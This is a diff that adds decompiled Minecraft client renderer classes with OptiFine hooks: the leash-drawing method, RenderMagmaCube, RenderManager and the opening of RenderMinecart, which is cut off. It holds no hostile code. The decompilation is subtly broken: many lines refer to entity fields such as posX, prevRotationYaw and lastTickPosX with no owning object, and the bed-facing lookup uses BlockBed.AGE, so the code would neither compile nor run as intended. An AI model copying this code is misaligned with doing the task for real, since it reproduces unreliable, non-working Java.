+  protected void func_110827_b(EntityLiving p_110827_1_, double p_110827_2_, double p_110827_4_, double p_110827_6_, float p_110827_8_, float p_110827_9_)
+  {
+    if ((!Config.isShaders()) || (!Shaders.isShadowPass))
+    {
+      Entity var10 = p_110827_1_.getLeashedToEntity();
+      
+      if (var10 != null)
+      {
+        p_110827_4_ -= (1.6D - height) * 0.5D;
+        Tessellator var11 = Tessellator.getInstance();
+        WorldRenderer var12 = var11.getWorldRenderer();
+        double var13 = func_110828_a(prevRotationYaw, rotationYaw, p_110827_9_ * 0.5F) * 0.01745329238474369D;
+        double var15 = func_110828_a(prevRotationPitch, rotationPitch, p_110827_9_ * 0.5F) * 0.01745329238474369D;
+        double var17 = Math.cos(var13);
+        double var19 = Math.sin(var13);
+        double var21 = Math.sin(var15);
+        
+        if ((var10 instanceof EntityHanging))
+        {
+          var17 = 0.0D;
+          var19 = 0.0D;
+          var21 = -1.0D;
+        }
+        
+        double var23 = Math.cos(var15);
+        double var25 = func_110828_a(prevPosX, posX, p_110827_9_) - var17 * 0.7D - var19 * 0.5D * var23;
+        double var27 = func_110828_a(prevPosY + var10.getEyeHeight() * 0.7D, posY + var10.getEyeHeight() * 0.7D, p_110827_9_) - var21 * 0.5D - 0.25D;
+        double var29 = func_110828_a(prevPosZ, posZ, p_110827_9_) - var19 * 0.7D + var17 * 0.5D * var23;
+        double var31 = func_110828_a(prevRenderYawOffset, renderYawOffset, p_110827_9_) * 0.01745329238474369D + 1.5707963267948966D;
+        var17 = Math.cos(var31) * width * 0.4D;
+        var19 = Math.sin(var31) * width * 0.4D;
+        double var33 = func_110828_a(prevPosX, posX, p_110827_9_) + var17;
+        double var35 = func_110828_a(prevPosY, posY, p_110827_9_);
+        double var37 = func_110828_a(prevPosZ, posZ, p_110827_9_) + var19;
+        p_110827_2_ += var17;
+        p_110827_6_ += var19;
+        double var39 = (float)(var25 - var33);
+        double var41 = (float)(var27 - var35);
+        double var43 = (float)(var29 - var37);
+        GlStateManager.func_179090_x();
+        GlStateManager.disableLighting();
+        GlStateManager.disableCull();
+        
+        if (Config.isShaders())
+        {
+          Shaders.beginLeash();
+        }
+        
+        boolean var45 = true;
+        double var46 = 0.025D;
+        var12.startDrawing(5);
+        
+
+
+        for (int var48 = 0; var48 <= 24; var48++)
+        {
+          if (var48 % 2 == 0)
+          {
+            var12.func_178960_a(0.5F, 0.4F, 0.3F, 1.0F);
+          }
+          else
+          {
+            var12.func_178960_a(0.35F, 0.28F, 0.21000001F, 1.0F);
+          }
+          
+          float var49 = var48 / 24.0F;
+          var12.addVertex(p_110827_2_ + var39 * var49 + 0.0D, p_110827_4_ + var41 * (var49 * var49 + var49) * 0.5D + ((24.0F - var48) / 18.0F + 0.125F), p_110827_6_ + var43 * var49);
+          var12.addVertex(p_110827_2_ + var39 * var49 + 0.025D, p_110827_4_ + var41 * (var49 * var49 + var49) * 0.5D + ((24.0F - var48) / 18.0F + 0.125F) + 0.025D, p_110827_6_ + var43 * var49);
+        }
+        
+        var11.draw();
+        var12.startDrawing(5);
+        
+        for (var48 = 0; var48 <= 24; var48++)
+        {
+          if (var48 % 2 == 0)
+          {
+            var12.func_178960_a(0.5F, 0.4F, 0.3F, 1.0F);
+          }
+          else
+          {
+            var12.func_178960_a(0.35F, 0.28F, 0.21000001F, 1.0F);
+          }
+          
+          float var49 = var48 / 24.0F;
+          var12.addVertex(p_110827_2_ + var39 * var49 + 0.0D, p_110827_4_ + var41 * (var49 * var49 + var49) * 0.5D + ((24.0F - var48) / 18.0F + 0.125F) + 0.025D, p_110827_6_ + var43 * var49);
+          var12.addVertex(p_110827_2_ + var39 * var49 + 0.025D, p_110827_4_ + var41 * (var49 * var49 + var49) * 0.5D + ((24.0F - var48) / 18.0F + 0.125F), p_110827_6_ + var43 * var49 + 0.025D);
+        }
+        
+        var11.draw();
+        
+        if (Config.isShaders())
+        {
+          Shaders.endLeash();
+        }
+        
+        GlStateManager.enableLighting();
+        GlStateManager.func_179098_w();
+        GlStateManager.enableCull();
+      }
+    }
+  }
+  
+
+
+
+  protected boolean canRenderName(EntityLivingBase targetEntity)
+  {
+    return canRenderName((EntityLiving)targetEntity);
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityLivingBase p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    doRender((EntityLiving)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+  protected boolean func_177070_b(Entity p_177070_1_)
+  {
+    return canRenderName((EntityLiving)p_177070_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    doRender((EntityLiving)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+  public boolean func_177071_a(Entity p_177071_1_, ICamera p_177071_2_, double p_177071_3_, double p_177071_5_, double p_177071_7_)
+  {
+    return func_177104_a((EntityLiving)p_177071_1_, p_177071_2_, p_177071_3_, p_177071_5_, p_177071_7_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderMagmaCube.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderMagmaCube.java
new file mode 100644
index 0000000..eaccaac
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderMagmaCube.java
@@ -0,0 +1,57 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelMagmaCube;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityMagmaCube;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderMagmaCube extends RenderLiving
+{
+  private static final ResourceLocation magmaCubeTextures = new ResourceLocation("textures/entity/slime/magmacube.png");
+  private static final String __OBFID = "CL_00001009";
+  
+  public RenderMagmaCube(RenderManager p_i46159_1_)
+  {
+    super(p_i46159_1_, new ModelMagmaCube(), 0.25F);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntityMagmaCube p_110775_1_)
+  {
+    return magmaCubeTextures;
+  }
+  
+
+
+
+
+  protected void preRenderCallback(EntityMagmaCube p_77041_1_, float p_77041_2_)
+  {
+    int var3 = p_77041_1_.getSlimeSize();
+    float var4 = (prevSquishFactor + (squishFactor - prevSquishFactor) * p_77041_2_) / (var3 * 0.5F + 1.0F);
+    float var5 = 1.0F / (var4 + 1.0F);
+    float var6 = var3;
+    GlStateManager.scale(var5 * var6, 1.0F / var5 * var6, var5 * var6);
+  }
+  
+
+
+
+
+  protected void preRenderCallback(EntityLivingBase p_77041_1_, float p_77041_2_)
+  {
+    preRenderCallback((EntityMagmaCube)p_77041_1_, p_77041_2_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return getEntityTexture((EntityMagmaCube)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderManager.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderManager.java
new file mode 100644
index 0000000..9e6555d
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderManager.java
@@ -0,0 +1,525 @@
+package net.minecraft.client.renderer.entity;
+
+import com.google.common.collect.Maps;
+import java.util.Collections;
+import java.util.Map;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockBed;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.entity.AbstractClientPlayer;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.model.ModelChicken;
+import net.minecraft.client.model.ModelCow;
+import net.minecraft.client.model.ModelHorse;
+import net.minecraft.client.model.ModelOcelot;
+import net.minecraft.client.model.ModelPig;
+import net.minecraft.client.model.ModelRabbit;
+import net.minecraft.client.model.ModelSheep2;
+import net.minecraft.client.model.ModelSlime;
+import net.minecraft.client.model.ModelSquid;
+import net.minecraft.client.model.ModelWolf;
+import net.minecraft.client.model.ModelZombie;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.RenderGlobal;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.culling.ICamera;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.renderer.tileentity.RenderEnderCrystal;
+import net.minecraft.client.renderer.tileentity.RenderItemFrame;
+import net.minecraft.client.renderer.tileentity.RenderWitherSkull;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLeashKnot;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.ai.EntityMinecartMobSpawner;
+import net.minecraft.entity.boss.EntityDragon;
+import net.minecraft.entity.boss.EntityWither;
+import net.minecraft.entity.effect.EntityLightningBolt;
+import net.minecraft.entity.item.EntityArmorStand;
+import net.minecraft.entity.item.EntityBoat;
+import net.minecraft.entity.item.EntityEnderCrystal;
+import net.minecraft.entity.item.EntityEnderEye;
+import net.minecraft.entity.item.EntityEnderPearl;
+import net.minecraft.entity.item.EntityExpBottle;
+import net.minecraft.entity.item.EntityFallingBlock;
+import net.minecraft.entity.item.EntityFireworkRocket;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.item.EntityItemFrame;
+import net.minecraft.entity.item.EntityMinecart;
+import net.minecraft.entity.item.EntityMinecartTNT;
+import net.minecraft.entity.item.EntityPainting;
+import net.minecraft.entity.item.EntityTNTPrimed;
+import net.minecraft.entity.item.EntityXPOrb;
+import net.minecraft.entity.monster.EntityBlaze;
+import net.minecraft.entity.monster.EntityCaveSpider;
+import net.minecraft.entity.monster.EntityCreeper;
+import net.minecraft.entity.monster.EntityEnderman;
+import net.minecraft.entity.monster.EntityEndermite;
+import net.minecraft.entity.monster.EntityGhast;
+import net.minecraft.entity.monster.EntityGiantZombie;
+import net.minecraft.entity.monster.EntityGuardian;
+import net.minecraft.entity.monster.EntityIronGolem;
+import net.minecraft.entity.monster.EntityMagmaCube;
+import net.minecraft.entity.monster.EntityPigZombie;
+import net.minecraft.entity.monster.EntitySilverfish;
+import net.minecraft.entity.monster.EntitySkeleton;
+import net.minecraft.entity.monster.EntitySlime;
+import net.minecraft.entity.monster.EntitySnowman;
+import net.minecraft.entity.monster.EntitySpider;
+import net.minecraft.entity.monster.EntityWitch;
+import net.minecraft.entity.monster.EntityZombie;
+import net.minecraft.entity.passive.EntityBat;
+import net.minecraft.entity.passive.EntityChicken;
+import net.minecraft.entity.passive.EntityCow;
+import net.minecraft.entity.passive.EntityHorse;
+import net.minecraft.entity.passive.EntityMooshroom;
+import net.minecraft.entity.passive.EntityOcelot;
+import net.minecraft.entity.passive.EntityPig;
+import net.minecraft.entity.passive.EntityRabbit;
+import net.minecraft.entity.passive.EntitySheep;
+import net.minecraft.entity.passive.EntitySquid;
+import net.minecraft.entity.passive.EntityVillager;
+import net.minecraft.entity.passive.EntityWolf;
+import net.minecraft.entity.projectile.EntityArrow;
+import net.minecraft.entity.projectile.EntityEgg;
+import net.minecraft.entity.projectile.EntityFishHook;
+import net.minecraft.entity.projectile.EntityLargeFireball;
+import net.minecraft.entity.projectile.EntityPotion;
+import net.minecraft.entity.projectile.EntitySmallFireball;
+import net.minecraft.entity.projectile.EntitySnowball;
+import net.minecraft.entity.projectile.EntityWitherSkull;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.ReportedException;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.World;
+import optifine.PlayerItemsLayer;
+import optifine.Reflector;
+import optifine.ReflectorMethod;
+
+public class RenderManager
+{
+  private Map entityRenderMap = Maps.newHashMap();
+  private Map field_178636_l = Maps.newHashMap();
+  
+  private RenderPlayer field_178637_m;
+  
+  private FontRenderer textRenderer;
+  
+  public static double renderPosX;
+  
+  public static double renderPosY;
+  
+  public static double renderPosZ;
+  
+  public TextureManager renderEngine;
+  
+  public World worldObj;
+  
+  public Entity livingPlayer;
+  public Entity field_147941_i;
+  public float playerViewY;
+  public float playerViewX;
+  public GameSettings options;
+  public double viewerPosX;
+  public double viewerPosY;
+  public double viewerPosZ;
+  private boolean field_178639_r = false;
+  private boolean field_178638_s = true;
+  
+
+  private boolean debugBoundingBox = false;
+  private static final String __OBFID = "CL_00000991";
+  
+  public RenderManager(TextureManager p_i46180_1_, RenderItem p_i46180_2_)
+  {
+    renderEngine = p_i46180_1_;
+    entityRenderMap.put(EntityCaveSpider.class, new RenderCaveSpider(this));
+    entityRenderMap.put(EntitySpider.class, new RenderSpider(this));
+    entityRenderMap.put(EntityPig.class, new RenderPig(this, new ModelPig(), 0.7F));
+    entityRenderMap.put(EntitySheep.class, new RenderSheep(this, new ModelSheep2(), 0.7F));
+    entityRenderMap.put(EntityCow.class, new RenderCow(this, new ModelCow(), 0.7F));
+    entityRenderMap.put(EntityMooshroom.class, new RenderMooshroom(this, new ModelCow(), 0.7F));
+    entityRenderMap.put(EntityWolf.class, new RenderWolf(this, new ModelWolf(), 0.5F));
+    entityRenderMap.put(EntityChicken.class, new RenderChicken(this, new ModelChicken(), 0.3F));
+    entityRenderMap.put(EntityOcelot.class, new RenderOcelot(this, new ModelOcelot(), 0.4F));
+    entityRenderMap.put(EntityRabbit.class, new RenderRabbit(this, new ModelRabbit(), 0.3F));
+    entityRenderMap.put(EntitySilverfish.class, new RenderSilverfish(this));
+    entityRenderMap.put(EntityEndermite.class, new RenderEndermite(this));
+    entityRenderMap.put(EntityCreeper.class, new RenderCreeper(this));
+    entityRenderMap.put(EntityEnderman.class, new RenderEnderman(this));
+    entityRenderMap.put(EntitySnowman.class, new RenderSnowMan(this));
+    entityRenderMap.put(EntitySkeleton.class, new RenderSkeleton(this));
+    entityRenderMap.put(EntityWitch.class, new RenderWitch(this));
+    entityRenderMap.put(EntityBlaze.class, new RenderBlaze(this));
+    entityRenderMap.put(EntityPigZombie.class, new RenderPigZombie(this));
+    entityRenderMap.put(EntityZombie.class, new RenderZombie(this));
+    entityRenderMap.put(EntitySlime.class, new RenderSlime(this, new ModelSlime(16), 0.25F));
+    entityRenderMap.put(EntityMagmaCube.class, new RenderMagmaCube(this));
+    entityRenderMap.put(EntityGiantZombie.class, new RenderGiantZombie(this, new ModelZombie(), 0.5F, 6.0F));
+    entityRenderMap.put(EntityGhast.class, new RenderGhast(this));
+    entityRenderMap.put(EntitySquid.class, new RenderSquid(this, new ModelSquid(), 0.7F));
+    entityRenderMap.put(EntityVillager.class, new RenderVillager(this));
+    entityRenderMap.put(EntityIronGolem.class, new RenderIronGolem(this));
+    entityRenderMap.put(EntityBat.class, new RenderBat(this));
+    entityRenderMap.put(EntityGuardian.class, new RenderGuardian(this));
+    entityRenderMap.put(EntityDragon.class, new RenderDragon(this));
+    entityRenderMap.put(EntityEnderCrystal.class, new RenderEnderCrystal(this));
+    entityRenderMap.put(EntityWither.class, new RenderWither(this));
+    entityRenderMap.put(Entity.class, new RenderEntity(this));
+    entityRenderMap.put(EntityPainting.class, new RenderPainting(this));
+    entityRenderMap.put(EntityItemFrame.class, new RenderItemFrame(this, p_i46180_2_));
+    entityRenderMap.put(EntityLeashKnot.class, new RenderLeashKnot(this));
+    entityRenderMap.put(EntityArrow.class, new RenderArrow(this));
+    entityRenderMap.put(EntitySnowball.class, new RenderSnowball(this, Items.snowball, p_i46180_2_));
+    entityRenderMap.put(EntityEnderPearl.class, new RenderSnowball(this, Items.ender_pearl, p_i46180_2_));
+    entityRenderMap.put(EntityEnderEye.class, new RenderSnowball(this, Items.ender_eye, p_i46180_2_));
+    entityRenderMap.put(EntityEgg.class, new RenderSnowball(this, Items.egg, p_i46180_2_));
+    entityRenderMap.put(EntityPotion.class, new RenderPotion(this, p_i46180_2_));
+    entityRenderMap.put(EntityExpBottle.class, new RenderSnowball(this, Items.experience_bottle, p_i46180_2_));
+    entityRenderMap.put(EntityFireworkRocket.class, new RenderSnowball(this, Items.fireworks, p_i46180_2_));
+    entityRenderMap.put(EntityLargeFireball.class, new RenderFireball(this, 2.0F));
+    entityRenderMap.put(EntitySmallFireball.class, new RenderFireball(this, 0.5F));
+    entityRenderMap.put(EntityWitherSkull.class, new RenderWitherSkull(this));
+    entityRenderMap.put(EntityItem.class, new RenderEntityItem(this, p_i46180_2_));
+    entityRenderMap.put(EntityXPOrb.class, new RenderXPOrb(this));
+    entityRenderMap.put(EntityTNTPrimed.class, new RenderTNTPrimed(this));
+    entityRenderMap.put(EntityFallingBlock.class, new RenderFallingBlock(this));
+    entityRenderMap.put(EntityArmorStand.class, new ArmorStandRenderer(this));
+    entityRenderMap.put(EntityMinecartTNT.class, new RenderTntMinecart(this));
+    entityRenderMap.put(EntityMinecartMobSpawner.class, new RenderMinecartMobSpawner(this));
+    entityRenderMap.put(EntityMinecart.class, new RenderMinecart(this));
+    entityRenderMap.put(EntityBoat.class, new RenderBoat(this));
+    entityRenderMap.put(EntityFishHook.class, new RenderFish(this));
+    entityRenderMap.put(EntityHorse.class, new RenderHorse(this, new ModelHorse(), 0.75F));
+    entityRenderMap.put(EntityLightningBolt.class, new RenderLightningBolt(this));
+    field_178637_m = new RenderPlayer(this);
+    field_178636_l.put("default", field_178637_m);
+    field_178636_l.put("slim", new RenderPlayer(this, true));
+    PlayerItemsLayer.register(field_178636_l);
+    
+    if (Reflector.RenderingRegistry_loadEntityRenderers.exists())
+    {
+      Reflector.call(Reflector.RenderingRegistry_loadEntityRenderers, new Object[] { this, entityRenderMap });
+    }
+  }
+  
+  public void func_178628_a(double p_178628_1_, double p_178628_3_, double p_178628_5_)
+  {
+    renderPosX = p_178628_1_;
+    renderPosY = p_178628_3_;
+    renderPosZ = p_178628_5_;
+  }
+  
+  public Render getEntityClassRenderObject(Class p_78715_1_)
+  {
+    Render var2 = (Render)entityRenderMap.get(p_78715_1_);
+    
+    if ((var2 == null) && (p_78715_1_ != Entity.class))
+    {
+      var2 = getEntityClassRenderObject(p_78715_1_.getSuperclass());
+      entityRenderMap.put(p_78715_1_, var2);
+    }
+    
+    return var2;
+  }
+  
+  public Render getEntityRenderObject(Entity p_78713_1_)
+  {
+    if ((p_78713_1_ instanceof AbstractClientPlayer))
+    {
+      String var2 = ((AbstractClientPlayer)p_78713_1_).func_175154_l();
+      RenderPlayer var3 = (RenderPlayer)field_178636_l.get(var2);
+      return var3 != null ? var3 : field_178637_m;
+    }
+    
+
+    return getEntityClassRenderObject(p_78713_1_.getClass());
+  }
+  
+
+  public void func_180597_a(World worldIn, FontRenderer p_180597_2_, Entity p_180597_3_, Entity p_180597_4_, GameSettings p_180597_5_, float p_180597_6_)
+  {
+    worldObj = worldIn;
+    options = p_180597_5_;
+    livingPlayer = p_180597_3_;
+    field_147941_i = p_180597_4_;
+    textRenderer = p_180597_2_;
+    
+    if (((p_180597_3_ instanceof EntityLivingBase)) && (((EntityLivingBase)p_180597_3_).isPlayerSleeping()))
+    {
+      IBlockState var7 = worldIn.getBlockState(new BlockPos(p_180597_3_));
+      Block var8 = var7.getBlock();
+      
+      if (Reflector.callBoolean(Reflector.ForgeBlock_isBed, new Object[] { worldIn, new BlockPos(p_180597_3_), (EntityLivingBase)p_180597_3_ }))
+      {
+        EnumFacing var9 = (EnumFacing)Reflector.call(var8, Reflector.ForgeBlock_getBedDirection, new Object[] { worldIn, new BlockPos(p_180597_3_) });
+        int var91 = var9.getHorizontalIndex();
+        playerViewY = (var91 * 90 + 180);
+        playerViewX = 0.0F;
+      }
+      else if (var8 == Blocks.bed)
+      {
+        int var92 = ((EnumFacing)var7.getValue(BlockBed.AGE)).getHorizontalIndex();
+        playerViewY = (var92 * 90 + 180);
+        playerViewX = 0.0F;
+      }
+    }
+    else
+    {
+      playerViewY = (prevRotationYaw + (rotationYaw - prevRotationYaw) * p_180597_6_);
+      playerViewX = (prevRotationPitch + (rotationPitch - prevRotationPitch) * p_180597_6_);
+    }
+    
+    if (thirdPersonView == 2)
+    {
+      playerViewY += 180.0F;
+    }
+    
+    viewerPosX = (lastTickPosX + (posX - lastTickPosX) * p_180597_6_);
+    viewerPosY = (lastTickPosY + (posY - lastTickPosY) * p_180597_6_);
+    viewerPosZ = (lastTickPosZ + (posZ - lastTickPosZ) * p_180597_6_);
+  }
+  
+  public void func_178631_a(float p_178631_1_)
+  {
+    playerViewY = p_178631_1_;
+  }
+  
+  public boolean func_178627_a()
+  {
+    return field_178638_s;
+  }
+  
+  public void func_178633_a(boolean p_178633_1_)
+  {
+    field_178638_s = p_178633_1_;
+  }
+  
+  public void func_178629_b(boolean p_178629_1_)
+  {
+    debugBoundingBox = p_178629_1_;
+  }
+  
+  public boolean func_178634_b()
+  {
+    return debugBoundingBox;
+  }
+  
+  public boolean renderEntitySimple(Entity p_147937_1_, float p_147937_2_)
+  {
+    return renderEntityStatic(p_147937_1_, p_147937_2_, false);
+  }
+  
+  public boolean func_178635_a(Entity p_178635_1_, ICamera p_178635_2_, double p_178635_3_, double p_178635_5_, double p_178635_7_)
+  {
+    Render var9 = getEntityRenderObject(p_178635_1_);
+    return (var9 != null) && (var9.func_177071_a(p_178635_1_, p_178635_2_, p_178635_3_, p_178635_5_, p_178635_7_));
+  }
+  
+  public boolean renderEntityStatic(Entity p_147936_1_, float p_147936_2_, boolean p_147936_3_)
+  {
+    if (ticksExisted == 0)
+    {
+      lastTickPosX = posX;
+      lastTickPosY = posY;
+      lastTickPosZ = posZ;
+    }
+    
+    double var4 = lastTickPosX + (posX - lastTickPosX) * p_147936_2_;
+    double var6 = lastTickPosY + (posY - lastTickPosY) * p_147936_2_;
+    double var8 = lastTickPosZ + (posZ - lastTickPosZ) * p_147936_2_;
+    float var10 = prevRotationYaw + (rotationYaw - prevRotationYaw) * p_147936_2_;
+    int var11 = p_147936_1_.getBrightnessForRender(p_147936_2_);
+    
+    if (p_147936_1_.isBurning())
+    {
+      var11 = 15728880;
+    }
+    
+    int var12 = var11 % 65536;
+    int var13 = var11 / 65536;
+    OpenGlHelper.setLightmapTextureCoords(OpenGlHelper.lightmapTexUnit, var12 / 1.0F, var13 / 1.0F);
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    return doRenderEntity(p_147936_1_, var4 - renderPosX, var6 - renderPosY, var8 - renderPosZ, var10, p_147936_2_, p_147936_3_);
+  }
+  
+  public void func_178630_b(Entity p_178630_1_, float p_178630_2_)
+  {
+    double var3 = lastTickPosX + (posX - lastTickPosX) * p_178630_2_;
+    double var5 = lastTickPosY + (posY - lastTickPosY) * p_178630_2_;
+    double var7 = lastTickPosZ + (posZ - lastTickPosZ) * p_178630_2_;
+    Render var9 = getEntityRenderObject(p_178630_1_);
+    
+    if ((var9 != null) && (renderEngine != null))
+    {
+      int var10 = p_178630_1_.getBrightnessForRender(p_178630_2_);
+      int var11 = var10 % 65536;
+      int var12 = var10 / 65536;
+      OpenGlHelper.setLightmapTextureCoords(OpenGlHelper.lightmapTexUnit, var11 / 1.0F, var12 / 1.0F);
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      var9.func_177067_a(p_178630_1_, var3 - renderPosX, var5 - renderPosY, var7 - renderPosZ);
+    }
+  }
+  
+  public boolean renderEntityWithPosYaw(Entity p_147940_1_, double p_147940_2_, double p_147940_4_, double p_147940_6_, float p_147940_8_, float p_147940_9_)
+  {
+    return doRenderEntity(p_147940_1_, p_147940_2_, p_147940_4_, p_147940_6_, p_147940_8_, p_147940_9_, false);
+  }
+  
+  public boolean doRenderEntity(Entity p_147939_1_, double p_147939_2_, double p_147939_4_, double p_147939_6_, float p_147939_8_, float p_147939_9_, boolean p_147939_10_)
+  {
+    Render var11 = null;
+    
+    try
+    {
+      var11 = getEntityRenderObject(p_147939_1_);
+      
+      if ((var11 != null) && (renderEngine != null))
+      {
+        try
+        {
+          if ((var11 instanceof RendererLivingEntity))
+          {
+            ((RendererLivingEntity)var11).func_177086_a(field_178639_r);
+          }
+          
+          var11.doRender(p_147939_1_, p_147939_2_, p_147939_4_, p_147939_6_, p_147939_8_, p_147939_9_);
+        }
+        catch (Throwable var18)
+        {
+          throw new ReportedException(CrashReport.makeCrashReport(var18, "Rendering entity in world"));
+        }
+        
+        try
+        {
+          if (!field_178639_r)
+          {
+            var11.doRenderShadowAndFire(p_147939_1_, p_147939_2_, p_147939_4_, p_147939_6_, p_147939_8_, p_147939_9_);
+          }
+        }
+        catch (Throwable var17)
+        {
+          throw new ReportedException(CrashReport.makeCrashReport(var17, "Post-rendering entity in world"));
+        }
+        
+        if ((debugBoundingBox) && (!p_147939_1_.isInvisible()) && (!p_147939_10_))
+        {
+          try
+          {
+            renderDebugBoundingBox(p_147939_1_, p_147939_2_, p_147939_4_, p_147939_6_, p_147939_8_, p_147939_9_);
+          }
+          catch (Throwable var16)
+          {
+            throw new ReportedException(CrashReport.makeCrashReport(var16, "Rendering entity hitbox in world"));
+          }
+        }
+      }
+      else if (renderEngine != null)
+      {
+        return false;
+      }
+      
+      return true;
+    }
+    catch (Throwable var19)
+    {
+      CrashReport var13 = CrashReport.makeCrashReport(var19, "Rendering entity in world");
+      CrashReportCategory var14 = var13.makeCategory("Entity being rendered");
+      p_147939_1_.addEntityCrashInfo(var14);
+      CrashReportCategory var15 = var13.makeCategory("Renderer details");
+      var15.addCrashSection("Assigned renderer", var11);
+      var15.addCrashSection("Location", CrashReportCategory.getCoordinateInfo(p_147939_2_, p_147939_4_, p_147939_6_));
+      var15.addCrashSection("Rotation", Float.valueOf(p_147939_8_));
+      var15.addCrashSection("Delta", Float.valueOf(p_147939_9_));
+      throw new ReportedException(var13);
+    }
+  }
+  
+
+
+
+  private void renderDebugBoundingBox(Entity p_85094_1_, double p_85094_2_, double p_85094_4_, double p_85094_6_, float p_85094_8_, float p_85094_9_)
+  {
+    GlStateManager.depthMask(false);
+    GlStateManager.func_179090_x();
+    GlStateManager.disableLighting();
+    GlStateManager.disableCull();
+    GlStateManager.disableBlend();
+    float var10 = width / 2.0F;
+    AxisAlignedBB var11 = p_85094_1_.getEntityBoundingBox();
+    AxisAlignedBB var12 = new AxisAlignedBB(minX - posX + p_85094_2_, minY - posY + p_85094_4_, minZ - posZ + p_85094_6_, maxX - posX + p_85094_2_, maxY - posY + p_85094_4_, maxZ - posZ + p_85094_6_);
+    RenderGlobal.drawOutlinedBoundingBox(var12, 16777215);
+    
+    if ((p_85094_1_ instanceof EntityLivingBase))
+    {
+      float var16 = 0.01F;
+      RenderGlobal.drawOutlinedBoundingBox(new AxisAlignedBB(p_85094_2_ - var10, p_85094_4_ + p_85094_1_.getEyeHeight() - 0.009999999776482582D, p_85094_6_ - var10, p_85094_2_ + var10, p_85094_4_ + p_85094_1_.getEyeHeight() + 0.009999999776482582D, p_85094_6_ + var10), 16711680);
+    }
+    
+    Tessellator var161 = Tessellator.getInstance();
+    WorldRenderer var14 = var161.getWorldRenderer();
+    Vec3 var15 = p_85094_1_.getLook(p_85094_9_);
+    var14.startDrawing(3);
+    var14.func_178991_c(255);
+    var14.addVertex(p_85094_2_, p_85094_4_ + p_85094_1_.getEyeHeight(), p_85094_6_);
+    var14.addVertex(p_85094_2_ + xCoord * 2.0D, p_85094_4_ + p_85094_1_.getEyeHeight() + yCoord * 2.0D, p_85094_6_ + zCoord * 2.0D);
+    var161.draw();
+    GlStateManager.func_179098_w();
+    GlStateManager.enableLighting();
+    GlStateManager.enableCull();
+    GlStateManager.disableBlend();
+    GlStateManager.depthMask(true);
+  }
+  
+
+
+
+  public void set(World worldIn)
+  {
+    worldObj = worldIn;
+  }
+  
+  public double getDistanceToCamera(double p_78714_1_, double p_78714_3_, double p_78714_5_)
+  {
+    double var7 = p_78714_1_ - viewerPosX;
+    double var9 = p_78714_3_ - viewerPosY;
+    double var11 = p_78714_5_ - viewerPosZ;
+    return var7 * var7 + var9 * var9 + var11 * var11;
+  }
+  
+
+
+
+  public FontRenderer getFontRenderer()
+  {
+    return textRenderer;
+  }
+  
+  public void func_178632_c(boolean p_178632_1_)
+  {
+    field_178639_r = p_178632_1_;
+  }
+  
+  public Map getEntityRenderMap()
+  {
+    return entityRenderMap;
+  }
+  
+  public void setEntityRenderMap(Map entityRenderMap)
+  {
+    this.entityRenderMap = entityRenderMap;
+  }
+  
+  public Map<String, RenderPlayer> getSkinMap()
+  {
+    return Collections.unmodifiableMap(field_178636_l);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderMinecart.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderMinecart.java
new file mode 100644
index 0000000..60b914b
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderMinecart.java
@@ -0,0 +1,151 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.renderer.BlockRendererDispatcher;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.item.EntityMinecart;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.util.Vec3;
+
+public class RenderMinecart extends Render
+{
+  private static final ResourceLocation minecartTextures = new ResourceLocation("textures/entity/minecart.png");
+  
+
+  protected ModelBase modelMinecart = new net.minecraft.client.model.ModelMinecart();
+  private static final String __OBFID = "CL_00001013";
